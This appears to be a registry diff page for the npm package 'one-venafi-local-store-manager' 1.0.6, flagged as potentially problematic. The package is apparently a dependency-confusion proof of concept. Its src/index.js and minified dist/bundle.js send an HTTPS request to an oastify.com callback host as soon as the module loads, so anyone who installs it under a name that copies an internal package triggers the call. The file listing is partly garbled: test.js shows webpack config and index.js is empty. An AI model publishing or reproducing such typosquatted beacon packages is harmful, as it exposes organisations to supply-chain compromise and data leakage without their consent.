one-venafi-local-store-manager 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of one-venafi-local-store-manager might be problematic. Click here for more details.
- package/dist/bundle.js +1 -0
- package/index.html +19 -0
- package/index.js +10 -0
- package/package.json +15 -0
- package/src/index.js +14 -0
- package/test.js +3 -0
- package/webpack.config.js +16 -0
package/dist/bundle.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
(()=>{var e={44:(e,o,r)=>{console.log("[🔥] Dependency Confusion Browser POC triggered!"),r(692).get("https://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234",(e=>{console.log("[📡] HTTPS request sent, status:",e.statusCode)})).on("error",(e=>{console.error("[❌] HTTPS request failed:",e.message)})),e.exports=function(){console.log("triggerPOC() called")}},692:e=>{"use strict";e.exports=require("https")}},o={},r=function r(t){var s=o[t];if(void 0!==s)return s.exports;var n=o[t]={exports:{}};return e[t](n,n.exports,r),n.exports}(44);exports.LocalStoreManagerLib=r})();
|
package/index.html
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
<head>
|
4
|
+
<meta charset="UTF-8">
|
5
|
+
<title>Test POC</title>
|
6
|
+
</head>
|
7
|
+
<body>
|
8
|
+
<h1>Loading Bundle...</h1>
|
9
|
+
<script src="dist/bundle.js"></script>
|
10
|
+
<script>
|
11
|
+
// If your bundle auto-triggers, nothing else is needed
|
12
|
+
// Otherwise you can invoke manually like:
|
13
|
+
if (window.LocalStoreManagerLib) {
|
14
|
+
new window.LocalStoreManagerLib();
|
15
|
+
}
|
16
|
+
</script>
|
17
|
+
</body>
|
18
|
+
</html>
|
19
|
+
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "one-venafi-local-store-manager",
|
3
|
+
"version": "1.0.6",
|
4
|
+
"description": "Browser PoC Webpack",
|
5
|
+
"main": "dist/bundle.js",
|
6
|
+
"scripts": {
|
7
|
+
"build": "webpack"
|
8
|
+
},
|
9
|
+
"author": "JESLOX",
|
10
|
+
"license": "ISC",
|
11
|
+
"devDependencies": {
|
12
|
+
"webpack": "^5.89.0",
|
13
|
+
"webpack-cli": "^5.1.4"
|
14
|
+
}
|
15
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
console.log("[🔥] Dependency Confusion Browser POC triggered!");
|
2
|
+
|
3
|
+
const https = require('https'); // ✅ Match protocol
|
4
|
+
|
5
|
+
https.get("https://yoqkctom6gsovdg7hbik1yqnqew5kw8l.oastify.com/leak-browser?token=1234", (res) => {
|
6
|
+
console.log("[📡] HTTPS request sent, status:", res.statusCode);
|
7
|
+
}).on('error', (err) => {
|
8
|
+
console.error("[❌] HTTPS request failed:", err.message);
|
9
|
+
});
|
10
|
+
|
11
|
+
module.exports = function triggerPOC() {
|
12
|
+
console.log("triggerPOC() called");
|
13
|
+
};
|
14
|
+
|
package/test.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const path = require('path');
|
2
|
+
|
3
|
+
module.exports = {
|
4
|
+
entry: './src/index.js',
|
5
|
+
output: {
|
6
|
+
filename: 'bundle.js',
|
7
|
+
path: path.resolve(__dirname, 'dist'),
|
8
|
+
library: {
|
9
|
+
name: 'LocalStoreManagerLib',
|
10
|
+
type: 'commonjs' // 👈 Use CommonJS for Node.js
|
11
|
+
}
|
12
|
+
},
|
13
|
+
target: 'node', // 👈 Ensures Node.js globals like global/fetch
|
14
|
+
mode: 'production'
|
15
|
+
};
|
16
|
+
|